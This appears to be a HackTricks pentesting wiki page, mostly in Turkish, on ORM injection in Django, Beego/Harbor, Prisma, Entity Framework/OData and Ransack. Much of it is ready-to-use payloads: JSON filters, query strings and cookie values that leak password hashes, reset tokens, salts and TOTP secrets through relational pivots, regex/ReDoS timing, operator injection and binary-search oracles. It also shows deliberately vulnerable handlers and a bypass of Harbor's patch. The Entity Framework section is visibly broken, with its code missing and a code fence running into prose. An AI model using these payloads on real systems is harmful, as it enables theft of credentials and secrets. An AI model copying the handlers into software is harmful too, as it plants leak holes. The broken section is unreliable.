ORM Injection
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Django ORM (Python)
this post yazısında, örneğin aşağıdaki gibi bir kod kullanılarak Django ORM’un nasıl zafiyetli hale getirilebileceği açıklanıyor:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
request.data (bir json olacak) değerinin veritabanına doğrudan filter objects from the database olarak geçirildiğine dikkat edin. Bir saldırgan beklenmeyen filtreler göndererek bundan beklenenden daha fazla veriyi leak edebilir.
Örnekler:
- Login: Basit bir login’de içindeki kayıtlı kullanıcıların passwords’lerini leak etmeye çalışın.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Şifreyi brute-force yaparak leaked olana kadar ele geçirmek mümkün.
- Relational filtering: İlişkiler üzerinde gezilerek, işlemde kullanılacağı beklenmeyen sütunlardan bilgi leak etmek mümkün. Örneğin, bu ilişkilerle bir kullanıcının oluşturduğu makaleleri leak etmek mümkünse: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Bir makale oluşturan tüm kullanıcıların şifrelerini bulmak mümkün olabilir
- Many-to-many relational filtering: Önceki örnekte, makale oluşturmamış kullanıcıların şifrelerini bulamıyorduk. Ancak diğer ilişkileri takip ederek bu mümkün. Örneğin: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
Bu durumda makale oluşturan kullanıcıların bulunduğu departmanlardaki tüm kullanıcıları bulabilir ve ardından parolalarını leak edebiliriz (önceki json’de sadece kullanıcı adlarını leak ediyorduk ancak daha sonra parolaları leak etmek mümkün).
- Django Group ve Permission many-to-may ilişkilerinin kullanıcılarla suistimali: Ayrıca, AbstractUser modeli Django’da kullanıcılar oluşturmak için kullanılır ve varsayılan olarak bu modelin Permission ve Group tablolarıyla bazı many-to-many relationships vardır. Bu temelde aynı grup içinde olduklarında veya aynı izni paylaştıklarında bir kullanıcıdan diğer kullanıcılara erişmenin varsayılan bir yoludur.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: Aynı blog yazısı
articles = Article.objects.filter(is_secret=False, **request.data)gibi bazı filtrelemelerin atlatılmasını öneriyordu. is_secret=True olan makaleleri dump etmek mümkün çünkü bir ilişkiden Article tablosuna geri dönebilir ve sonuçlar join edildiği için is_secret alanı gizli olmayan makalede kontrol edilirken veriler gizli makaleden leak oluyor; böylece gizli makaleler gizli olmayan makaleler üzerinden leak edilebilir.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
İlişkilerin kötüye kullanılmasıyla, görüntülenen verileri korumaya yönelik filtrelerin bile atlatılması mümkün olabilir.
- Error/Time based via ReDoS: Önceki örneklerde, filtrelemenin işe yarayıp yaramadığına göre farklı yanıtlar alınacağı ve bunun bir oracle olarak kullanılacağı varsayılmıştı. Ancak veritabanında bazı işlemler yapılması ve yanıtın her zaman aynı olması mümkün olabilir. Bu durumda yeni bir oracle elde etmek için veritabanında hata oluşturmak mümkün olabilir.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: Varsayılan olarak bir regexp operatörü yok (üçüncü taraf bir eklenti yüklemeyi gerektirir)
- PostgreSQL: Varsayılan bir regex zaman aşımı yoktur ve backtracking’e daha az yatkındır
- MariaDB: Varsayılan bir regex zaman aşımı yoktur
Beego ORM (Go) & Harbor Filter Oracles
Beego, Django’nun field__operator DSL’ini yansıtır, bu yüzden kullanıcılara QuerySeter.Filter()’ın ilk argümanını kontrol etme imkanı veren herhangi bir handler, tüm ilişki grafiğini açığa çıkarır:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
/search?filter=created_by__user__password__icontains=pbkdf gibi istekler, yukarıdaki Django primitives ile tam olarak aynı şekilde foreign key’ler üzerinden pivot yapabilir. Harbor’ın q helper’ı kullanıcı girdisini Beego filters’e parse ediyordu, bu yüzden düşük ayrıcalıklı kullanıcılar liste yanıtlarını izleyerek gizli bilgileri sorgulayabiliyordu:
GET /api/v2.0/users?q=password=~$argon2id$→ herhangi bir hash’in$argon2id$içerip içermediğini ortaya çıkarır.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Dönen satırları saymak, pagination metadata’sını gözlemlemek veya yanıt uzunluklarını karşılaştırmak, tüm hashes, salts ve TOTP seeds’leri brute-force etmek için bir oracle sağlar.
parseExprs ile Harbor’ın yamalarını atlatma
Harbor, hassas alanları filter:"false" ile işaretleyerek korumaya çalıştı ve ifadelerin yalnızca ilk segmentini doğruladı:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’nun dahili parseExprs fonksiyonu her __ ile ayrılmış segmenti gezer ve mevcut segment bir ilişki değilse, hedef alanı bir sonraki segment ile basitçe üzerine yazar. Bu yüzden email__password__startswith=foo gibi payload’lar Harbor’ın Filterable(email)=true kontrolünü geçer ama password__startswith=foo olarak çalışır ve deny-lists’i atlatır.
v2.13.1 anahtarları tek bir ayraca sınırladı, ancak Harbor’ın kendi fuzzy-match builder’ı doğrulamadan sonra operatörleri ekliyor: q=email__password=~abc → Filter("email__password__icontains", "abc"). ORM bunu tekrar password__icontains olarak yorumluyor. Sadece ilk __ bileşenini inceleyen veya operatörleri istek pipeline’ının daha sonra bir noktasında ekleyen Beego uygulamaları aynı overwrite primitive’e karşı hâlâ savunmasızdır ve bunlar blind leak oracle olarak kullanılmaya devam edebilir.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Tam find kontrolü:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Tüm javascript gövdesinin sorgu yürütmek için prisma’ya geçirildiğini görmek mümkün.
Orijinal gönderideki örnekte, bu birinin createdBy olduğu tüm postları kontrol eder (her post birisi tarafından oluşturulur) ve o kişinin kullanıcı bilgilerini (username, password…) da döndürür.
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Aşağıdaki, password ile oluşturulmuş tüm gönderileri seçer ve password’ü döndürecektir:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Tam where clause kontrolü:
Saldırının where clause’u kontrol edebildiği şu örneğe bakalım:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Kullanıcıların password’ünü doğrudan şu şekilde filtrelemek mümkün:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
startsWithgibi işlemler kullanılarak bilgi leak etmek mümkündür.
- Many-to-many ilişkisel filtrelemeyi bypass etme:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Yayınlanmamış makaleleri Category -[*..*]-> Article arasındaki çoktan-çoğa ilişkilere geri dönerek sızdırmak mümkündür:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Bazı loop back many-to-many ilişkilerini suistimal ederek tüm kullanıcıları leak etmek de mümkündür:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Orijinal gönderide, time based payload ile bilgi leak etmek için optimal payload’ı bulmaya yönelik gerçekleştirilen çok kapsamlı testleri okuyabilirsiniz. Bu ise:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Burada {CONTAINS_LIST} doğru leak bulunduğunda yanıtın gecikmesini sağlamak için 1000 adet string içeren bir listedir.
where filtrelerinde type confusion (operator injection)
Prisma’nın query API’si ya ilkel değerleri ya da operator nesnelerini kabul eder. Handler’lar request body’nin düz stringler içerdiğini varsayıp bunları doğrudan where’e ilettiklerinde, saldırganlar operator’leri authentication akışlarına sızdırıp token kontrollerini atlayabilirler.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Common coercion vektörleri:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ tokeniEolmayan her kullanıcıyla eşleşir. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassaynı objeye dönüşür. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2alt dize eşleşmelerini leaks. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}eğer cookie’ler Prisma’ya iletilirse.
Prisma { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, vb. ifadeleri rahatça değerlendirdiği için, secret’lar (reset token’ları, API key’ler, magic link’ler) üzerindeki herhangi bir eşitlik kontrolü, sırrı bilmeden başarılı olan bir predicate’e genişletilebilir. Bunu relational filtreler (createdBy) ile birleştirip bir kurban seçin.
Aşağıdaki akışları ara:
- İstek şemaları uygulanmıyorsa, iç içe nesneler deseralizasyon sırasında korunur.
- Extended body/query parser’ları etkin kalır ve bracket sözdizimini kabul eder.
- Handler’lar kullanıcı JSON’unu izin verilen alanlar/operatörlere eşlemeyip doğrudan Prisma’ya iletir.
Entity Framework & OData Filter Leaks
Reflection tabanlı metin yardımcıları sırları leak eder
Microsoft TextFilter helper leaks için suistimal edildi
```csharp IQueryableHer string özelliğini enumerate eden ve bunları .Contains(term) içine saran yardımcılar, endpoint’i çağırabilen herhangi bir kullanıcıya passwords, API tokens, salts ve TOTP secrets’ı etkili bir şekilde açığa çıkarır. Directus CVE-2025-64748 gerçek dünyadan bir örnektir; directus_users search endpoint’i, oluşturduğu LIKE predicatesiçindetokenvetfa_secret`’i dahil ederek sonuç sayımlarını bir leak oracle’a dönüştürmüştür.
OData comparison oracles
ASP.NET OData controller’ları genellikle IQueryable<T> döndürür ve $filter’a izin verir; contains gibi fonksiyonlar devre dışı olsa bile. EDM özelliği ortaya çıkardığı sürece, saldırganlar yine üzerinde karşılaştırma yapabilir:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Sonuçların (veya sayfalama meta verisinin) varlığı ya da yokluğu, veritabanı sıralamasına göre her karakteri ikili arama ile tespit etmenizi sağlar. Navigasyon özellikleri (CreatedBy/Token, CreatedBy/User/Password) Django/Beego’ya benzer ilişkilendirme pivotlarına izin verir; bu yüzden hassas alanları açığa çıkaran veya her özellik için deny-list’leri atlayan herhangi bir EDM kolay hedeftir.
Kullanıcı dizelerini ORM operatörlerine çeviren kütüphaneler ve middleware’ler (örn. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) katı alan/operatör izin listeleri uygulamadıkça yüksek riskli sink olarak değerlendirilmelidir.
Ransack (Ruby)
These tricks where found in this post.
Tip
Ransack 4.0.0.0 artık aranabilir öznitelikler ve ilişkiler için açık bir izin listesinin kullanılmasını zorunlu kıldığını unutmayın.
Zayıf örnek:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Sorgunun saldırganın gönderdiği parametrelere göre nasıl belirlendiğine dikkat edin. Örneğin reset token’ı brute-force ile kırmak mümkün oldu:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Brute-force ve ilişkiler kullanılarak veritabanından daha fazla veri leak etmek mümkün oldu.
Sıralama (collation) farkındalıklı leak stratejileri
Dize karşılaştırmaları veritabanının collation’ını devralır, bu nedenle leak oracles arka ucun karakterleri nasıl sıraladığına göre tasarlanmalıdır:
- Varsayılan MariaDB/MySQL/SQLite/MSSQL collation’ları genellikle büyük/küçük harf duyarsızdır, bu yüzden
LIKE/=aileA’yı ayırt edemez. Gizli değerin büyük/küçük harf duyarlılığı önemliyse büyük/küçük harf duyarlı operatörler (regex/GLOB/BINARY) kullanın. - Prisma ve Entity Framework veritabanı sıralamasını yansıtır. MSSQL’in
SQL_Latin1_General_CP1_CI_ASgibi collation’ları noktalama işaretlerini rakamlardan ve harflerden önce yerleştirir; bu yüzden binary-search denemeleri ham ASCII bayt sırasından ziyade bu sıralamaya uymalıdır. - SQLite’in
LIKEifadesi özel bir collation kaydedilmedikçe büyük/küçük harf duyarsızdır, bu yüzden Django/Beego leaks büyük/küçük harf duyarlı token’ları geri almak için__regexpredicate’lerine ihtiyaç duyabilir.
Payload’ları gerçek collation’a göre kalibre etmek gereksiz denemeleri önler ve otomatik alt-dize/binary-search saldırılarını önemli ölçüde hızlandırır.
Referanslar
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


